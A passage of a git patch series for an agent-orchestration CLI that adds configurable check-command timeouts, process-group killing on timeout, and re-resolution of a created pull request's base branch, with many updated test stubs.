raw.strip(): + return 1800.0 + try: + return float(raw) + except ValueError: + return 1800.0 + + class ExecArgv(Protocol): """Callable that runs argv and returns a Completed-like result.""" def __call__( - self, argv: list[str], *, cwd: str | None = None + self, argv: list[str], *, cwd: str | None = None, timeout: float | None = None ) -> Completed: ... @@ -1373,7 +1391,7 @@ def execute_spine_step( reason="check command is empty", message="check command is empty", ) - completed = exec_argv(argv, cwd=run_cwd) + completed = exec_argv(argv, cwd=run_cwd, timeout=local_check_timeout_sec()) result = "pass" if completed.returncode == 0 else "fail" output = ((completed.stdout or "") + (completed.stderr or ""))[:8000] _check_record( diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 0d242f9..c7cb08f 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -190,7 +190,7 @@ def _advance_error_fix_to_pushed( capsys.readouterr() monkeypatch.setattr( "agent_cli.main._exec_argv", - lambda argv, *, cwd=None: Completed(0, "ok", ""), + lambda argv, *, cwd=None, timeout=None: Completed(0, "ok", ""), ) run(home, ["run", "--task", tid]) capsys.readouterr() @@ -832,7 +832,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -896,7 +896,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -963,7 +963,7 @@ def test_fixer_defers_when_worktree_not_ready( before_state = _task_state(tmp_path, tid) called = {"n": 0} - def spy_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def spy_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] called["n"] += 1 return Completed(0, "", "") @@ -1003,7 +1003,7 @@ def test_fixer_local_check_exec_uses_worktree_cwd( assert worktree.is_dir() captured: dict[str, object] = {} - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] captured["cwd"] = cwd captured["argv"] = list(argv) return Completed(0, "ok\n", "") @@ -1580,7 +1580,7 @@ def test_fixer_drives_error_fix_task_to_done( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1631,7 +1631,7 @@ def test_ensure_done_readiness_summary_fallback_uses_distinct_german( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1693,7 +1693,7 @@ def test_drive_one_reports_contributing_ok_blocked_instead_of_raising( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1782,7 +1782,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") if "diff" in argv: @@ -1843,7 +1843,7 @@ def test_fixer_backfills_pr_number_when_pr_open_already_done( pr_head = f"error-fix-{ERROR_ID[:8]}" activity_id = str(uuid.uuid4()) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1925,7 +1925,7 @@ def test_fixer_backfills_task_ref_from_pr_open_real_base( pr_head = f"error-fix-{ERROR_ID[:8]}" activity_id = str(uuid.uuid4()) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -2028,7 +2028,7 @@ def test_fixer_backfills_task_ref_from_slash_containing_bare_base( pr_head = f"error-fix-{ERROR_ID[:8]}" activity_id = str(uuid.uuid4()) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -2117,7 +2117,7 @@ def test_fixer_heal_unconditionally_prepends_origin_even_for_origin_prefixed_bas pr_head = f"error-fix-{ERROR_ID[:8]}" activity_id = str(uuid.uuid4()) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -2232,7 +2232,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") if "diff" in argv: @@ -2337,7 +2337,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") if "diff" in argv: @@ -2419,7 +2419,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] returncode=0, stdout="STATUS: complete\nFINDINGS: none\n", stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") if "diff" in argv: @@ -2505,7 +2505,7 @@ def test_fixer_inner_reviewer_rejection_keeps_head( tid = _bootstrap_error_fix_task(tmp_path, capsys) _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -3007,7 +3007,7 @@ def test_empty_review_diff_fails_task_and_stops_reselection( tid = _bootstrap_error_fix_task(tmp_path, capsys) _finish_implementer(tmp_path, tid, capsys) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] # Base ref resolves and merge-base returns a real sha (probes_ok stays # True) but every diff call comes back genuinely empty -- a confirmed # empty diff, not a probe failure. @@ -3135,7 +3135,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, pushed_sha + "\n", "") if "diff" in argv: @@ -3204,7 +3204,7 @@ def reversed_pair(ready): # type: ignore[no-untyped-def] def _pr_pair_rtc(pushed_sha: str): # type: ignore[no-untyped-def] - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, pushed_sha + "\n", "") if "diff" in argv: @@ -3633,7 +3633,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, pushed_sha + "\n", "") if "diff" in argv: @@ -3871,7 +3871,7 @@ def fake_prepare(store, tid_, step, **kwargs): # type: ignore[no-untyped-def] raise RuntimeError("boom during second prepare") return real_prepare(store, tid_, step, **kwargs) - def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_rtc(runner, argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, pushed_sha + "\n", "") if "diff" in argv: diff --git a/tests/test_run.py b/tests/test_run.py index 469325b..39fedc8 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -194,7 +194,7 @@ def test_run_local_check_pass( seen: list[list[str]] = [] - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: seen.append(list(argv)) return Completed(0, "ok", "") @@ -223,7 +223,7 @@ def test_run_local_check_fail( monkeypatch.setattr( "agent_cli.main._exec_argv", - lambda argv, *, cwd=None: Completed(1, "", "boom"), + lambda argv, *, cwd=None, timeout=None: Completed(1, "", "boom"), ) with pytest.raises(SystemExit) as exc: run(tmp_path, ["run", "--task", tid]) @@ -262,7 +262,7 @@ def test_run_agent_check_command_env( seen: list[list[str]] = [] - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: seen.append(list(argv)) return Completed(0, "", "") @@ -272,6 +272,37 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: assert ["true"] in seen +def test_run_local_check_pass_uses_distinct_longer_timeout( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """The check-command execution must get a timeout distinct from (larger than) + the 120s fast git/gh probe default, decoupled via AGENT_CHECK_TIMEOUT_SEC.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + _finish_reviewer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + + calls: list[tuple[list[str], object]] = [] + + def fake_exec(argv, *, cwd=None, timeout=None): + calls.append((list(argv), timeout)) + return Completed(0, "ok", "") + + monkeypatch.setenv("AGENT_CHECK_TIMEOUT_SEC", "999") + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) + run(tmp_path, ["run", "--task", tid]) + + assert _checklist(tmp_path, tid)["local_check_pass"] == "ja" + check_calls = [c for c in calls if c[0] and c[0][0] == "pytest"] + assert check_calls, "expected the check command to be invoked" + assert check_calls[0][1] == 999.0 + probe_calls = [c for c in calls if c[0][:2] == ["git", "rev-parse"]] + assert probe_calls, "expected the git rev-parse HEAD bookkeeping probe to run too" + assert all(t is None for _, t in probe_calls), "fast probes must keep the 120s default" + + def test_run_dry_run_skips_local_check( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -284,7 +315,7 @@ def test_run_dry_run_skips_local_check( called = {"n": 0} - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: called["n"] += 1 return Completed(0, "", "") @@ -550,7 +581,7 @@ def test_collect_review_diff_no_base_candidate_resolves_marks_probes_not_ok( ) -> None: """When every base candidate fails rev-parse, probes_ok must be False.""" - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:3] == ["git", "rev-parse", "--verify"]: return Completed(1, "", "") # Supplemental HEAD probe succeeds but empty. @@ -567,7 +598,7 @@ def test_collect_review_diff_explicit_base_wins_over_candidates( hunk = "diff --git a/src/foo.py b/src/foo.py\n+explicit-base-hunk\n" calls: list[list[str]] = [] - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: calls.append(list(argv)) if argv[:3] == ["git", "rev-parse", "--verify"]: # Both the explicit base and origin/develop resolve — explicit must win. @@ -647,7 +678,7 @@ def test_collect_review_diff_does_not_duplicate_overlapping_staged_hunk( hunk = "diff --git a/src/foo.py b/src/foo.py\n+overlapping-staged-hunk\n" calls: list[list[str]] = [] - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: calls.append(list(argv)) if argv[:3] == ["git", "rev-parse", "--verify"]: # No base candidate resolves, so only the plain-HEAD probes run @@ -682,7 +713,7 @@ def test_build_review_spec_file_raises_unavailable_when_no_base_resolves( ) -> None: """No resolving base candidate → ReviewDiffUnavailableError, not EmptyReviewDiffError.""" - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:3] == ["git", "rev-parse", "--verify"]: return Completed(1, "", "") return Completed(0, "", "") @@ -709,7 +740,7 @@ def test_build_review_spec_file_raises_unavailable_when_merge_base_stdout_empty( ) -> None: """Empty merge-base stdout → ReviewDiffUnavailableError, not EmptyReviewDiffError.""" - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:3] == ["git", "rev-parse", "--verify"]: if argv[3] == "origin/develop": return Completed(0, "abc123\n", "") @@ -740,7 +771,7 @@ def test_build_review_spec_file_raises_unavailable_despite_dirty_worktree_diff( ) -> None: """Failed range-diff probe must raise even when supplemental dirty-worktree diff is non-empty.""" - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:3] == ["git", "rev-parse", "--verify"]: if argv[3] == "origin/develop": return Completed(0, "abc123\n", "") @@ -785,7 +816,7 @@ def test_build_review_spec_file_fences_diff_with_triple_backtick_line( "+```\n" ) - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:3] == ["git", "rev-parse", "--verify"]: if argv[3] == "origin/develop": return Completed(0, "abc123\n", "") @@ -960,7 +991,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] ) raise OSError("missing vendor CLI binary") - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1012,7 +1043,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1068,7 +1099,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1123,7 +1154,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="command not found", ) - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1178,7 +1209,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1223,7 +1254,7 @@ def _advance_to_pushed( capsys.readouterr() monkeypatch.setattr( "agent_cli.main._exec_argv", - lambda argv, *, cwd=None: Completed(0, "ok", ""), + lambda argv, *, cwd=None, timeout=None: Completed(0, "ok", ""), ) run(home, ["run", "--task", tid]) capsys.readouterr() @@ -1564,7 +1595,7 @@ def test_reviewer_gets_distinct_review_spec_with_diff_and_contract( impl_spec.write_text("# Task\n\nImplement the feature.\n", encoding="utf-8") captured: dict[str, str] = {} - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if "diff" in argv: if "--name-only" in argv: return Completed(0, "src/foo.py\n", "") @@ -1641,7 +1672,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if "diff" in argv: return Completed(0, "diff --git a/x b/x\n", "") if "rev-parse" in argv or "merge-base" in argv: @@ -1791,7 +1822,7 @@ def test_local_check_reruns_after_same_head_fail( check_calls = {"n": 0} - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, same_sha + "\n", "") if argv and argv[0] == "pytest": @@ -1891,7 +1922,7 @@ def test_local_check_reruns_after_same_head_pass_then_fail( check_calls = {"n": 0} - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, same_sha + "\n", "") if argv and argv[0] == "pytest": @@ -1969,7 +2000,7 @@ def test_local_check_reruns_after_pr_rejection_with_new_head( # local_check_pass=nein with prior steps ja -> next spine step is local_check_pass. check_calls = {"n": 0} - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, new_sha + "\n", "") if argv and argv[0] == "pytest": @@ -2025,7 +2056,7 @@ def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] - def fake_exec(argv, *, cwd=None): # type: ignore[no-untyped-def] + def fake_exec(argv, *, cwd=None, timeout=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") if "diff" in argv: @@ -2200,7 +2231,7 @@ def test_pr_gate_rejection_evidence_omits_status_preamble( def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] return pushed_sha - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, pushed_sha + "\n", "") if "diff" in argv: From 09c9c239d09e48151d97ecfeccd1ff54d47f3a80 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 04:41:35 -0300 Subject: [PATCH 43/47] Accept the new vendor keyword in the parallel-pair test's fake build stub. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- tests/test_fixer_act.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index c7cb08f..8c404c6 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -3288,7 +3288,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_build(store, tid_, *, role, round_num, implement_spec_file, cwd, exec_argv, base_ref=None): # type: ignore[no-untyped-def] + def fake_build(store, tid_, *, role, round_num, implement_spec_file, cwd, exec_argv, base_ref=None, vendor=None): # type: ignore[no-untyped-def] if role == unavailable_role and unavailable_done["n"] == 0: unavailable_done["n"] += 1 raise ReviewDiffUnavailableError( From 72578700abfa4e9ac4c9c032039442bf048dac78 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 05:07:08 -0300 Subject: [PATCH 44/47] Re-resolve the created PR's actual base from GitHub instead of the requested one. The create path previously stored the requested base param verbatim, which stays None/stale when task.ref is unresolved at PR-creation time and GitHub falls back to its own default branch. Mirror the resume path's existing baseRefName resolution via a best-effort gh pr view call. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/github_act.py | 32 ++++++++++++++++++++++++++- tests/test_github_act.py | 43 +++++++++++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+), 1 deletion(-) diff --git a/src/agent_cli/github_act.py b/src/agent_cli/github_act.py index dbb006b..474941a 100644 --- a/src/agent_cli/github_act.py +++ b/src/agent_cli/github_act.py @@ -139,6 +139,35 @@ def _gh_text(argv: list[str], runner: Runner) -> str: return completed.stdout or "" +def _resolve_actual_base( + head: str, repo: str, runner: Runner, fallback: str | None +) -> str | None: + """Best-effort: re-resolve the ACTUAL applied base via a live `gh pr view` + call, mirroring the resume path's existing baseRefName resolution. Never + raises — any failure (gh unavailable, non-zero exit, bad JSON, missing + field) returns `fallback` unchanged so a successful `gh pr create` is never + turned into an error just because this best-effort re-resolution failed.""" + try: + completed = runner( + ["gh", "pr", "view", head, "--repo", repo, "--json", "baseRefName"] + ) + except OSError: + return fallback + if completed.returncode != 0: + return fallback + raw = (completed.stdout or "").strip() + if raw == "": + return fallback + try: + data = json.loads(raw) + except json.JSONDecodeError: + return fallback + if not isinstance(data, dict): + return fallback + real_base = data.get("baseRefName") + return real_base if isinstance(real_base, str) and real_base else fallback + + def _gh_not_found(completed: Completed) -> bool: """True only when gh failed because this pull request is missing.""" if completed.returncode == 0: @@ -270,12 +299,13 @@ def _run_pr_open(store: Store, runner: Runner, row: dict[str, Any]) -> str: argv.extend(["--base", base]) stdout = _gh_text(argv, runner) url, number = _parse_url_number(stdout) + resolved_base = _resolve_actual_base(head, repo, runner, base) result = { "repo": repo, "number": number, "url": url, "draft": True, - "base": base, + "base": resolved_base, } _mark(store, row, status="done", result=result) return f"pr.open {rid} done number={number}" diff --git a/tests/test_github_act.py b/tests/test_github_act.py index bbbf022..34eda45 100644 --- a/tests/test_github_act.py +++ b/tests/test_github_act.py @@ -215,6 +215,49 @@ def runner(argv: list[str]) -> Completed: assert row["result"]["base"] == "develop" +def test_pr_open_create_resolves_actual_base_from_github(tmp_path: Path) -> None: + """Create path must re-resolve result.base from GitHub's applied baseRefName.""" + store = Store(tmp_path) + _owned_session(store) + act_id = "pr-base-create-resolve" + _pending( + store, + act_id, + "pr.open", + { + "repo": "dfxswiss/agent", + "title": "No base requested", + "head": "feat-github", + "body": "Please review", + }, + ) + view_calls = 0 + created = False + + def runner(argv: list[str]) -> Completed: + nonlocal view_calls, created + if argv[:3] == ["gh", "pr", "view"]: + view_calls += 1 + if not created: + return Completed(1, "", "no pull requests found") + body = {"baseRefName": "main"} + return Completed(0, json.dumps(body), "") + if "create" in argv: + created = True + assert "--base" not in argv + return Completed(0, "https://github.com/dfxswiss/agent/pull/55\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + lines = scan_github(store, runner) + assert lines == [f"pr.open {act_id} done number=55"] + assert created + assert view_calls == 2 + row = store.row("activity", act_id) + assert row is not None + assert row["execution_status"] == "done" + assert row["result"]["base"] == "main" + + def test_pr_open_view_auth_error_no_create(tmp_path: Path) -> None: store = Store(tmp_path) _owned_session(store) From 4013f45ddcdda7e34fd55bcc0cadd70f6c6ea9d5 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 05:07:14 -0300 Subject: [PATCH 45/47] Kill the whole process group when a check command times out. subprocess.run's default TimeoutExpired handling only reaps the direct child, letting a shell-invoked test/build command's grandchild workers survive a hung check timing out. Route main._exec_argv and fixer_act._runner_to_completed through a shared start_new_session + os.killpg helper, matching lane.py's existing pattern for vendor CLI runs. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 11 ++-------- src/agent_cli/main.py | 10 ++-------- src/agent_cli/runtime.py | 41 ++++++++++++++++++++++++++++++++++++++ tests/test_fixer_act.py | 35 +++++++++++++++++++++++++++----- tests/test_run.py | 27 ++++++++++++++++++++----- 5 files changed, 97 insertions(+), 27 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 97b78c8..eb6ecea 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -17,7 +17,7 @@ from .chain import Step, close_allowed, is_error_fix_originated, next_steps from .error_fix_act import _error_seen, _nonempty_str, _repo_ok from .lane import LaneResult, Runner as LaneRunner, extract_findings_text -from .runtime import Completed +from .runtime import Completed, run_argv_killing_tree from .run_core import ( DEFAULT_ROUND_CAP, AgentLaunchPlan, @@ -1281,18 +1281,11 @@ def _runner_to_completed( timeout: float | None = None, ) -> Completed: """Run argv; honor cwd like main._exec_argv so checks use the worktree.""" - import subprocess - limit = 120 if timeout is None else timeout try: if cwd is not None: - proc = subprocess.run( # noqa: S603 - argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=limit - ) - return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") + return run_argv_killing_tree(argv, cwd=cwd, timeout=limit) return runner(argv) - except subprocess.TimeoutExpired as exc: - return Completed(124, "", str(exc) or f"git/gh call timed out after {limit}s") except OSError as exc: return Completed(127, "", str(exc)) diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 0d0ad88..54db504 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -2553,19 +2553,13 @@ def cmd_close_step(args: list[str]) -> None: def _exec_argv( argv: list[str], *, cwd: str | None = None, timeout: float | None = None ) -> "Completed": - from .runtime import Completed - import subprocess + from .runtime import Completed, run_argv_killing_tree limit = 120 if timeout is None else timeout try: - proc = subprocess.run( # noqa: S603 - argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=limit - ) - except subprocess.TimeoutExpired as exc: - return Completed(124, "", str(exc) or f"git/gh call timed out after {limit}s") + return run_argv_killing_tree(argv, cwd=cwd, timeout=limit) except OSError as exc: return Completed(127, "", str(exc)) - return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") def _resolve_run_cwd(args: list[str]) -> str: diff --git a/src/agent_cli/runtime.py b/src/agent_cli/runtime.py index e043a0b..985b2a0 100644 --- a/src/agent_cli/runtime.py +++ b/src/agent_cli/runtime.py @@ -2,8 +2,10 @@ from __future__ import annotations +import os import re import shlex +import signal import subprocess import uuid from collections.abc import Callable @@ -77,6 +79,45 @@ def run_argv(argv: list[str]) -> Completed: return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") +def run_argv_killing_tree( + argv: list[str], + *, + cwd: str | None = None, + timeout: float | None = None, +) -> Completed: + """Run argv in its own process group; on timeout, SIGKILL the whole group, + not just the direct child. subprocess.run's default TimeoutExpired handling + only kills the direct child — a shell-invoked check command's grandchild + worker processes would otherwise survive the timeout. Mirrors + lane._default_runner's proven start_new_session + os.killpg pattern.""" + proc = subprocess.Popen( # noqa: S603 + argv, + cwd=cwd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + start_new_session=True, + ) + try: + stdout, stderr = proc.communicate(timeout=timeout) + except subprocess.TimeoutExpired: + try: + os.killpg(proc.pid, signal.SIGKILL) + except (ProcessLookupError, PermissionError, OSError): + try: + proc.kill() + except OSError: + pass + try: + stdout, stderr = proc.communicate(timeout=5) + except (subprocess.TimeoutExpired, OSError): + stdout, stderr = "", "" + return Completed(124, stdout or "", stderr or f"timed out after {timeout}s") + return Completed( + proc.returncode if proc.returncode is not None else 1, stdout or "", stderr or "" + ) + + _default_runner = run_argv diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 8c404c6..0f272b1 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -1511,19 +1511,44 @@ def runner(argv: list[str]) -> Completed: def test_runner_to_completed_timeout_returns_124( tmp_path: Path, monkeypatch: 